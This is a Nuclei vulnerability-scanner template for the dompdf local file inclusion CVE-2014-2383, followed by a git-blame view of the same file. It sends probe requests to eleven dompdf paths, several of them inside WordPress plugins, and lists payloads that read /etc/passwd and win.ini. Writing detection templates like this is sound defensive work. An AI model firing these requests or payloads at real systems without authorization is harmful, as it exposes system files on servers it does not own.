nuclei-templates/cves/2014/CVE-2014-2383.yaml

id: CVE-2014-2383

info:
  name: dompdf < v0.6.0 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.
  reference:
    - https://www.exploit-db.com/exploits/33004
    - http://seclists.org/fulldisclosure/2014/Apr/258
    - https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2383/
    - https://wpscan.com/vulnerability/1d64d0cb-6b71-47bb-8807-7c8350922582
    - https://nvd.nist.gov/vuln/detail/CVE-2014-2383
  classification:
    cve-id: CVE-2014-2383
  metadata:
    unix-payload: /dompdf.php?input_file=/etc/passwd
    win-payload: /dompdf.php?input_file=C:/windows/win.ini
  tags: cve,cve2014,dompdf,lfi,unauth

requests:
  - method: GET
    path:
      - "{{BaseURL}}/dompdf.php?input_file=dompdf.php"
      - "{{BaseURL}}/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=dompdf.php"
      - "{{BaseURL}}/lib/dompdf/dompdf.php?input_file=dompdf.php"
      - "{{BaseURL}}/includes/dompdf/dompdf.php?input_file=dompdf.php"
      - "{{BaseURL}}/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php?input_file=dompdf.php"
      - "{{BaseURL}}/wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=dompdf.php"
      - "{{BaseURL}}/wp-content/plugins/abstract-submission/dompdf-0.5.1/dompdf.php?input_file=dompdf.php"
      - "{{BaseURL}}/wp-content/plugins/post-pdf-export/dompdf/dompdf.php?input_file=dompdf.php"
      - "{{BaseURL}}/wp-content/plugins/blogtopdf/dompdf/dompdf.php?input_file=dompdf.php"
      - "{{BaseURL}}/wp-content/plugins/gboutique/library/dompdf/dompdf.php?input_file=dompdf.php"
      - "{{BaseURL}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/dompdf/dompdf.php?input_file=dompdf.php"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "application/pdf"
          - 'filename="dompdf_out.pdf"'
        part: header
        condition: and

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/08/06
more updates 2021-09-21 10:16:26 +00:00			`id: CVE-2014-2383`
Create CVE-2014-2383.yaml 2021-06-10 09:45:21 +00:00
			`info:`
Update CVE-2014-2383.yaml 2022-08-06 12:50:12 +00:00			`name: dompdf < v0.6.0 - Local File Inclusion`
Create CVE-2014-2383.yaml 2021-06-10 09:45:21 +00:00			`author: 0x_Akoko`
			`severity: high`
Update CVE-2014-2383.yaml 2022-08-06 12:50:12 +00:00			`description: \|`
			`A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.`
Dashboard Text Enhancements (#3773) Dashboard Text Enhancements 2022-02-25 14:32:23 +00:00			`reference:`
			`- https://www.exploit-db.com/exploits/33004`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`- http://seclists.org/fulldisclosure/2014/Apr/258`
			`- https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2383/`
Update CVE-2014-2383 2022-08-06 11:47:45 +00:00			`- https://wpscan.com/vulnerability/1d64d0cb-6b71-47bb-8807-7c8350922582`
Update CVE-2014-2383.yaml 2022-08-06 12:50:12 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2014-2383`
Dashboard Text Enhancements (#3773) Dashboard Text Enhancements 2022-02-25 14:32:23 +00:00			`classification:`
			`cve-id: CVE-2014-2383`
more updates 2021-09-21 10:16:26 +00:00			`metadata:`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`unix-payload: /dompdf.php?input_file=/etc/passwd`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`win-payload: /dompdf.php?input_file=C:/windows/win.ini`
Update CVE-2014-2383 2022-08-06 11:47:45 +00:00			`tags: cve,cve2014,dompdf,lfi,unauth`
Update CVE-2014-2383.yaml 2021-06-11 09:52:14 +00:00
Create CVE-2014-2383.yaml 2021-06-10 09:45:21 +00:00			`requests:`
			`- method: GET`
			`path:`
Update CVE-2014-2383.yaml 2021-06-11 09:03:43 +00:00			`- "{{BaseURL}}/dompdf.php?input_file=dompdf.php"`
Added more paths 2021-06-11 09:17:02 +00:00			`- "{{BaseURL}}/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=dompdf.php"`
			`- "{{BaseURL}}/lib/dompdf/dompdf.php?input_file=dompdf.php"`
Update CVE-2014-2383.yaml 2021-06-12 11:12:57 +00:00			`- "{{BaseURL}}/includes/dompdf/dompdf.php?input_file=dompdf.php"`
Update CVE-2014-2383 2022-08-06 11:47:45 +00:00			`- "{{BaseURL}}/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php?input_file=dompdf.php"`
			`- "{{BaseURL}}/wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=dompdf.php"`
			`- "{{BaseURL}}/wp-content/plugins/abstract-submission/dompdf-0.5.1/dompdf.php?input_file=dompdf.php"`
			`- "{{BaseURL}}/wp-content/plugins/post-pdf-export/dompdf/dompdf.php?input_file=dompdf.php"`
			`- "{{BaseURL}}/wp-content/plugins/blogtopdf/dompdf/dompdf.php?input_file=dompdf.php"`
			`- "{{BaseURL}}/wp-content/plugins/gboutique/library/dompdf/dompdf.php?input_file=dompdf.php"`
			`- "{{BaseURL}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/dompdf/dompdf.php?input_file=dompdf.php"`
Update CVE-2014-2383.yaml 2021-10-09 11:07:50 +00:00
Update CVE-2014-2383.yaml 2021-10-09 05:16:16 +00:00			`stop-at-first-match: true`
Create CVE-2014-2383.yaml 2021-06-10 09:45:21 +00:00			`matchers-condition: and`
			`matchers:`
Update CVE-2014-2383.yaml 2021-06-11 09:03:43 +00:00			`- type: word`
			`words:`
			`- "application/pdf"`
			`- 'filename="dompdf_out.pdf"'`
			`part: header`
Added more paths 2021-06-11 09:17:02 +00:00			`condition: and`
Create CVE-2014-2383.yaml 2021-06-10 09:45:21 +00:00
			`- type: status`
			`status:`
			`- 200`
Dashboard Text Enhancements (#3773) Dashboard Text Enhancements 2022-02-25 14:32:23 +00:00
Update Wordpress templates: typo, cve-id, ref & remove dupe 2022-08-06 17:16:33 +00:00			`# Enhanced by mp on 2022/08/06`